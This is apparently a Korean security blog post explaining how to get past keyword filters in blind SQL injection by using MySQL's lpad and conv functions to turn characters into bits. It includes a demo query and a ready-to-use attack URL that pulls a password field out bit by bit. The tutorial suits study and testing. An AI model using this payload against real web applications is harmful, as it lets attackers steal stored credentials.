* ascii, char, between, and, or 등이 막혀 있을 경우나 기타 잘 알려진 함수들이 필터링 되는 경우 대체방법
으로 lpad 함수, conv 함수를 이용할수 있다. lpad 는 지정한 문자로 자릿수를 채워주는 역할을 하며, conv 함수는
진법 변환을 해준다.
인젝션을 많이 해본 사람은 이제 감이 올 것이다. 쿼리 결과를 1 또는 0으로 만드는 것이 BlindSQL Injection 의
핵심인데, conv('문자',16,2) 로 1과 0으로 이루어진 2진수로 만들고, lpad 로 8자리로 맞춰 주는 것이다.
결론적으로 'A' 를 아래와 같이 0과 1만으로 표현할 수 있다.
mysql> select lpad(conv(hex(substr('a',1,1)),16,2),8,0) from test where id='test';
+-------------------------------------------+
| lpad(conv(hex(substr('a',1,1)),16,2),8,0) |
+-------------------------------------------+
| 01100001 |
+-------------------------------------------+
# 비슷한 함수(테스트 필요)
MySQL : LPAD()
MSSQL : REPLICATE()
[출처] MSSQL에서 LPAD효과 내기|작성자 그루터기
# 공격 예
index.php?id+like+0x616425&&substr(lpad(conv(hex(substr(pw,1,1)),16,2),8,0),1,1)=0
'Security' 카테고리의 다른 글
각 영역별 정리 (0) | 2014.05.05 |
---|---|
Flag (0) | 2014.05.04 |
SQL Injection - Select 필터링(PROCEDURE ANALYSE()) (0) | 2014.04.12 |
BOF 기초 (2) | 2014.04.12 |
서든어택 Wall Hack 원리 (1) | 2010.01.05 |